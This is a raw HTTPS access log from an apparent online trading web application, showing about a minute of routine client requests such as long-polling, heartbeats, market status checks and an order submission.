[09/Jan/2026:15:31:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944158268 HTTP/1.1" -
[09/Jan/2026:15:31:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944175414 HTTP/1.1" -
[09/Jan/2026:15:31:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944160249 HTTP/1.1" -
[09/Jan/2026:15:31:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944161226 HTTP/1.1" -
[09/Jan/2026:15:31:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:33 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944163296 HTTP/1.1" -
[09/Jan/2026:15:31:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:31:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:31:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:31:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:31:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:31:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:15:31:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 7
[09/Jan/2026:15:31:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944180473 HTTP/1.1" -
[09/Jan/2026:15:31:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944165293 HTTP/1.1" -
[09/Jan/2026:15:31:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944166252 HTTP/1.1" -
[09/Jan/2026:15:31:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:31:38 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944168368 HTTP/1.1" -
[09/Jan/2026:15:31:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944185492 HTTP/1.1" -
[09/Jan/2026:15:31:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944170396 HTTP/1.1" -
[09/Jan/2026:15:31:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944171293 HTTP/1.1" -
[09/Jan/2026:15:31:43 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944173443 HTTP/1.1" -
[09/Jan/2026:15:31:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944190534 HTTP/1.1" -
[09/Jan/2026:15:31:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944175536 HTTP/1.1" -
[09/Jan/2026:15:31:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944176319 HTTP/1.1" -
[09/Jan/2026:15:31:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:31:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944178625 HTTP/1.1" -
[09/Jan/2026:15:31:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944195590 HTTP/1.1" -
[09/Jan/2026:15:31:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:31:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944181359 HTTP/1.1" -
[09/Jan/2026:15:31:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944180757 HTTP/1.1" -
[09/Jan/2026:15:31:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944183671 HTTP/1.1" -
[09/Jan/2026:15:31:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944200656 HTTP/1.1" -
[09/Jan/2026:15:31:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:31:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944186408 HTTP/1.1" -
[09/Jan/2026:15:31:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944185915 HTTP/1.1" -
[09/Jan/2026:15:31:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:31:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944188695 HTTP/1.1" -
[09/Jan/2026:15:32:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944205680 HTTP/1.1" -
[09/Jan/2026:15:32:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944191454 HTTP/1.1" -
[09/Jan/2026:15:32:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944190970 HTTP/1.1" -
[09/Jan/2026:15:32:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 309
[09/Jan/2026:15:32:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:15:32:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:32:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:32:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944193797 HTTP/1.1" -
[09/Jan/2026:15:32:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:32:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944210704 HTTP/1.1" -
[09/Jan/2026:15:32:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944196476 HTTP/1.1" -
[09/Jan/2026:15:32:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944196127 HTTP/1.1" -
[09/Jan/2026:15:32:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:32:08 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944198832 HTTP/1.1" -
[09/Jan/2026:15:32:09 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:09 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:32:09 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1203
[09/Jan/2026:15:32:09 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:32:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944215728 HTTP/1.1" -
[09/Jan/2026:15:32:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944201498 HTTP/1.1" -
[09/Jan/2026:15:32:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944201179 HTTP/1.1" -
[09/Jan/2026:15:32:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944203888 HTTP/1.1" -
[09/Jan/2026:15:32:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944220763 HTTP/1.1" -
[09/Jan/2026:15:32:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944206516 HTTP/1.1" -
[09/Jan/2026:15:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944206322 HTTP/1.1" -
[09/Jan/2026:15:32:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:32:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944208914 HTTP/1.1" -
[09/Jan/2026:15:32:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944225792 HTTP/1.1" -
[09/Jan/2026:15:32:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:32:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944211553 HTTP/1.1" -
[09/Jan/2026:15:32:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944211463 HTTP/1.1" -
[09/Jan/2026:15:32:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:32:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:32:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1203
[09/Jan/2026:15:32:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944213950 HTTP/1.1" -
[09/Jan/2026:15:32:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:32:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:32:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=141932876E8A0A22DFED6BF883F585EB HTTP/1.1" 1022
[09/Jan/2026:15:32:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:32:25 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:25 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:25 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:32:25 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:32:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944230822 HTTP/1.1" -
